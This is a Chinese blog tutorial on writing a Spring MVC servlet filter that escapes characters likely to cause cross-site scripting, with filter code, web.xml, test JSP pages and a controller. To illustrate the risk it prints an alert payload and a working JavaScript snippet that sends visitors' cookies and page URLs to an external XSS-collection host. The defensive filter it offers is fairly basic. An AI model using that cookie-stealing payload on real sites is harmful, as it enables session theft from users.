在SpringMVC中使用过滤器(Filter)过滤容易引发XSS的危险字符

原文地址:http://blog.51cto.com/983836259/1880278

一 简介

如题所示,如果不在服务端对用户的输入信息进行过滤,然后该参数又直接在前台页面中展示,毫无疑问将会容易引发XSS攻击(跨站脚本攻击),比如说这样:

form表单中有这么一个字段:

1
< input  type = "text"  id = "author"  name = "author"  placeholder = "昵称"  />

然后潜在攻击者在该字段上填入以下内容:

1
< script >alert('XSS')</ script >

紧接着服务端忽略了“一切来至其他系统的数据都存在安全隐患”的原则,并没有对来至用户的数据进行过滤,导致了直接在前台页面中进行展示。很显然直接弹窗了:

wKioL1hHf4Px53GGAAA-9cgWE1M461.png

当然,这里仅仅只是一个无伤大雅的弹窗,如果是恶意的攻击者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,形成大规模爆发的蠕虫病毒等等。

比如说远程加载这么一个js将会导致用户的cookie被窃取:

1
2
( function (){( new  Image()).src= 'http://xss.domain.com/index.php?do=api&id=ykvR5H&location=' +escape(( function (){ try { return  document.location.href} catch (e){ return  '' }})())+ '&toplocation=' +escape(( function (){ try { return  top.location.href} catch (e){ return  '' }})())+ '&cookie=' +escape(( function (){ try { return  document.cookie} catch (e){ return  '' }})())+ '&opener=' +escape(( function (){ try { return  (window.opener && window.opener.location.href)?window.opener.location.href: '' } catch (e){ return  '' }})());})();
if ( '1' ==1){keep= new  Image();keep.src= 'http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url=' +escape(document.location)+ '&cookie=' +escape(document.cookie)};

然后将可以在自己搭建的XSS平台中收到信息,比如像这样:

wKiom1hHf7HicAJ4AAA6kVLuM0s231.png

注:因为我在这个demo程序里没有设置cookie,因此cookie那一栏显示为空白

当然,值得庆幸的是,像国内一些主流的浏览器(如:360浏览器、猎豹浏览器)对这类常见的XSS payload都进行了过滤,查看网页源代码可以发现这些危险的字符均使用了鲜艳的红色字体进行了标注,同时该脚本并不能成功地执行:

wKiom1hHf8ziHpgpAAAeB1jod0Y439.png

二 使用Filter过滤容易引发XSS的危险字符

(1)自定义一个过滤用的Filter:

8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package  cn.zifangsky.filter;
 
import  java.io.IOException;
import  java.util.Enumeration;
import  java.util.Map;
import  java.util.Vector;
import  java.util.regex.Matcher;
import  java.util.regex.Pattern;
 
import  javax.servlet.FilterChain;
import  javax.servlet.ServletException;
import  javax.servlet.http.HttpServletRequest;
import  javax.servlet.http.HttpServletRequestWrapper;
import  javax.servlet.http.HttpServletResponse;
 
import  org.apache.commons.lang3.StringEscapeUtils;
import  org.apache.commons.lang3.StringUtils;
import  org.springframework.web.filter.OncePerRequestFilter;
 
public  class  XSSFilter  extends  OncePerRequestFilter {
     private  String exclude =  null ;   //不需要过滤的路径集合
     private  Pattern pattern =  null ;   //匹配不需要过滤路径的正则表达式
     
     public  void  setExclude(String exclude) {
         this .exclude = exclude;
         pattern = Pattern.compile(getRegStr(exclude));
     }
     
     /**
      * XSS过滤
      */
     protected  void  doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
             throws  ServletException, IOException {
         String requestURI = request.getRequestURI();
         if (StringUtils.isNotBlank(requestURI))
             requestURI = requestURI.replace(request.getContextPath(), "" );
         
         if (pattern.matcher(requestURI).matches())
             filterChain.doFilter(request, response);
         else {
             EscapeScriptwrapper escapeScriptwrapper =  new  EscapeScriptwrapper(request);
             filterChain.doFilter(escapeScriptwrapper, response);
         }
     }
     
     /**
      * 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则
      * @param str 不需要过滤的路径集合
      * @return 正则表达式规则
      * */
     private  String getRegStr(String str){
         if (StringUtils.isNotBlank(str)){
             String[] excludes = str.split( ";" );   //以分号进行分割
             int  length = excludes.length;
             for ( int  i= 0 ;i<length;i++){
                 String tmpExclude = excludes[i];
                 //对点、反斜杠和星号进行转义
                 tmpExclude = tmpExclude.replace( "\\" "\\\\" ).replace( "." "\\." ).replace( "*" ".*" );
 
                 tmpExclude =  "^"  + tmpExclude +  "$" ;
                 excludes[i] = tmpExclude;
             }
             return  StringUtils.join(excludes,  "|" );
         }
         return  str;
     }
     
     /**
      * 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的
      * */
     private  class  EscapeScriptwrapper  extends  HttpServletRequestWrapper{
         private  Map<String, String[]> parameterMap;   //所有参数的Map集合
         public  EscapeScriptwrapper(HttpServletRequest request) {
             super (request);
             parameterMap = request.getParameterMap();
         }
         
         //重写几个HttpServletRequestWrapper中的方法
         /**
          * 获取所有参数名
          * @return 返回所有参数名
          * */
         @Override
         public  Enumeration<String> getParameterNames() {
             Vector<String> vector =  new  Vector<String>(parameterMap.keySet());
             return  vector.elements();
         }
         
         /**
          * 获取指定参数名的值,如果有重复的参数名,则返回第一个的值
          * 接收一般变量 ,如text类型
         
          * @param name 指定参数名
          * @return 指定参数名的值
          * */
         @Override
         public  String getParameter(String name) {
             String[] results = parameterMap.get(name);
             if (results ==  null  || results.length <=  0 )
                 return  null ;
             else {
                 return  escapeXSS(results[ 0 ]);
             }
         }
 
         /**
          * 获取指定参数名的所有值的数组,如:checkbox的所有数据
          * 接收数组变量 ,如checkobx类型
          * */
         @Override
         public  String[] getParameterValues(String name) {
             String[] results = parameterMap.get(name);
             if (results ==  null  || results.length <=  0 )
                 return  null ;
             else {
                 int  length = results.length;
                 for ( int  i= 0 ;i<length;i++){
                     results[i] = escapeXSS(results[i]);
                 }
                 return  results;
             }
         }
         
         /**
          * 过滤字符串中的js脚本
          * 解码:StringEscapeUtils.unescapeXml(escapedStr)
          * */
         private  String escapeXSS(String str){
             str = StringEscapeUtils.escapeXml(str);
             
             Pattern tmpPattern = Pattern.compile( "[sS][cC][rR][iI][pP][tT]" );
             Matcher tmpMatcher = tmpPattern.matcher(str);
             if (tmpMatcher.find()){
                 str = tmpMatcher.replaceAll(tmpMatcher.group( 0 ) +  "\\\\" );
             }
             return  str;
         }
     }
 
}

(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
< filter >
     < filter-name >xssFilter</ filter-name >
     < filter-class >cn.zifangsky.filter.XSSFilter</ filter-class >
     < init-param >
         < param-name >exclude</ param-name >
         < param-value >/;/scripts/*;/styles/*;/images/*</ param-value >
     </ init-param >
</ filter >
< filter-mapping >
     < filter-name >xssFilter</ filter-name >
     < url-pattern >*.html</ url-pattern >
     <!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 -->
     < dispatcher >REQUEST</ dispatcher >
     < dispatcher >FORWARD</ dispatcher >
</ filter-mapping >

关于这个自定义的过滤器,我觉得有以下几点需要简单说明下:

i)我这里为了方便,没有自己手动写很多过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有以下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的可以自行查阅官方文档或者自己动手写一个简单的Demo进行测试。当然,我这里使用的是escapeXml这个方法进行过滤

ii)因为一个web工程中通常会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不需要进行过滤的。因此我也做了这方面的处理,代码很简单,看看上面的例子就明白了,或者可以看看我的这篇文章:https://www.zifangsky.cn/647.html

iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只需要自定义一个类继承与HttpServletRequestWrapper 这个类,然后复写几个方法即可。如果对这方面不太理解的同学可以看看我的这篇文章:https://www.zifangsky.cn/677.html

iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# οnerrοr=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我觉得最多就是出现个弹窗,因为把尖括号和引号都给转义了,并不能够执行一些比较危险的操作

(3)两个测试的前台页面:

i)form表单页面input.jsp:

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page language="java" contentType="text/html; charset=UTF-8"
     pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
< html >
< head >
< meta  http-equiv = "Content-Type"  content = "text/html; charset=UTF-8" >
< base  href="<%=basePath%>">
< title >FilterDemo</ title >
</ head >
< body >
     < div  align = "center" >
         Please input you want to say:
         < form  action = "show.html"  method = "post" >
             < table >
                 < tr >
                     < td >< input  type = "text"  id = "author"  name = "author"  placeholder = "昵称"  /></ td >
                 </ tr >
                 < tr >
                     < td >< input  type = "text"  id = "email"  name = "email"  placeholder = "邮箱"  /></ td >
                 </ tr >
                 < tr >
                     < td >< input  type = "text"  id = "url"  name = "url" placeholder = "网址" ></ td >
                 </ tr >
                 < tr >
                     < td >< textarea  name = "comment"  rows = "5"  placeholder = "来都来了,何不XSS一下" ></ textarea ></ td >
                 </ tr >
                 < tr >
                     < td  align = "center" >< input  type = "submit"  value = "Go"  />
                 </ tr >
             </ table >
         </ form >
     </ div >
</ body >
</ html >

ii)结果显示页面show.jsp:

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<%@ page language="java" contentType="text/html; charset=UTF-8"
     pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
< html >
< head >
< meta  http-equiv = "Content-Type"  content = "text/html; charset=UTF-8" >
< base  href="<%=basePath%>">
< title >FilterDemo</ title >
</ head >
< body >
     < div  align = "center" >
         < table >
             < tr >
                 < td >昵称:</ td >< td >${author}</ td >
             </ tr >
             < tr >
                 < td >邮箱:</ td >< td >${email}</ td >
             </ tr >
             < tr >
                 < td >网址:</ td >< td >${url}</ td >
             </ tr >
             < tr >
                 < td >留言:</ td >< td >${comment}</ td >
             </ tr >
             <!-- <tr>
                 <td><img alt="x" src=${comment}></td>
             </tr> -->
         </ table >
     </ div >
</ body >
</ html >

(4)测试用的Controller:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package  cn.zifangsky.controller;
 
import  org.springframework.stereotype.Controller;
import  org.springframework.web.bind.annotation.RequestMapping;
import  org.springframework.web.bind.annotation.RequestParam;
import  org.springframework.web.servlet.ModelAndView;
 
@Controller
public  class  CommentController {
     
     /**
      * 获取留言并在页面展示
      * */
     @RequestMapping ( "/show.html" )
     public  ModelAndView showComment( @RequestParam (name =  "author" , required =  true ) String author,
             @RequestParam (name =  "email" , required =  false ) String email,
             @RequestParam (name =  "url" , required =  false ) String url,
             @RequestParam (name =  "comment" , required =  false ) String comment) {
         
         ModelAndView mAndView =  new  ModelAndView( "show" );
         mAndView.addObject( "author" , author);
         mAndView.addObject( "email" , email);
         mAndView.addObject( "url" , url);
         mAndView.addObject( "comment" , comment);
         
         return  mAndView;
     }
}

这里的代码逻辑很简单,因此就不多做解释了

(5)测试:

测试的效果如下:

wKioL1hHgFLz_0yhAAAquj5BVkU078.png

对应的网页源代码是这样的:

wKiom1hHgG2jmiW1AAA4tn1f65k425.png

可以看出,我们的目标已经成功实现了,本篇文章到此结束


一、什么是XSS攻击 XSS是一种经常出现在web应用的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。 二、XSS漏洞的危害 (1)网络钓鱼,包括盗取各类用户账号; (2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作; (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等; (4)强制弹出广告页面、刷流量等; (5)网页挂马; (6)进行恶意操作,例如任意篡改页面信息、删除文章等; (7)进行大量的客户端攻击,如DDoS攻击; (8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等; (9)控制受害者机器向其他网站发起攻击; (10)结合其他漏洞,如CSRF漏洞,实施进一步作恶; (11)提升用户权限,包括进一步渗透网站; (12)传播跨站脚本蠕虫等; 三、过滤器配置 web.xml配置 XssFilter com.xxx.Filter.XssFilter XssFilter /*
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值